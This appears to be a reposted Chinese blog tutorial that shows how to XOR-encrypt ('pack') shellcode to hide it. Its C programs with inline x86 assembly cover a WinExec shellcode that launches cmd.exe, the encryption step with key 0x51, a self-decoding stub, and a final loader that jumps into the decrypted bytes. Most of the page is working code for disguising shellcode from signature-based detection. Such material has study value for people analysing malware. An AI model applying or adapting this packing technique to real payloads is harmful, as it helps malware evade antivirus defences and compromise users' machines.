利用xor给shellcode加壳
首先看我們的shellcode,執行彈出cmd
沒有shellcode:
將匯編改成shellcode,注意mov eax,0x755bdab0,后面0x755bdab0是WinExec函數的地址,每個機子可能不一樣,請查看下自己機子這個函數的地址(將mov eax,0x755bdab0改成call dword ptr [WinExec],當執行call dword ptr [WinExec]時,查看eip的值就是WinExec的地址),不要用call dword ptr [WinExec],雖然也能彈出cmd,但是對后面有很大影響,我試了,解碼后彈不出cmd(我也不知道為啥,我一開始就是用這個的,浪費我好長時間)。
#include "stdio.h" #include "windows.h" #include <string.h> #include "stdlib.h" char key=0x51; char shellcode[]="\x8B\x45\xF4\x6A\x05\x50\xB8\xB0\xDA\x5B\x75\xFF\xD0";int main(int argc, char* argv[]) {printf("begin\n");HINSTANCE libHandle;char *dll="kernel32.dll";libHandle=LoadLibrary(dll);char *str="cmd.exe";__asm{lea eax,shellcodecall eax}return 0; }
利用xor給shellcode加密,加密的程序為:
將shellcode加密,然后輸出來,后面的是加密后的shellcode,將后面的粘貼復制到一個數組里
將加密的shellcode加載到內存里,然后動態在內存里改回來
先解密要執行的代碼,然后再跳到解密后哪里執行加載整個shellcode到內存,前面專門解密后面的部分,再執行,就是加載整個外殼代碼到內存,前面專門解密后面的部分,再執行
解密的程序為:
__asm{add eax,24mov ecx,13xor edx,edx decode:mov bl,byte ptr ds:[eax+edx]xor bl,51hmov byte ptr ds:[eax+edx],blinc edxloop decode}將這段程序反匯編,找出機器碼
程序中24是這段機器碼的長度,13是我們的shellcode長度
將機器碼放到我們加密的shellcode前面
最終程序
#include "stdio.h" #include "windows.h" #include <string.h> #include "stdlib.h" char key=0x51;char decodeSC[]="\x83\xC0\x18\xB9\x0d\x00\x00\x00\x33\xD2\x3E\x8A\x1C\x10\x80\xF3\x51\x3E\x88\x1C\x10\x42\xE2\xF2" "\xda\x14\xa5\x3b\x54\x01\xe9\xe1\x8b\x0a\x24\xae\x81";int main(int argc, char* argv[]) {printf("begin\n");HINSTANCE libHandle;char *dll="kernel32.dll";libHandle=LoadLibrary(dll);char *str="cmd.exe";__asm{lea eax,decodeSCpush eaxret }return 0; }
思路:
建議反匯編的時候,一步步執行,我們就能看到動態修改加密后的shellcode了
總結
以上是生活随笔為你收集整理的利用xor给shellcode加壳的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 线性表----链式表
- 下一篇: 杜高犬多少钱一只啊?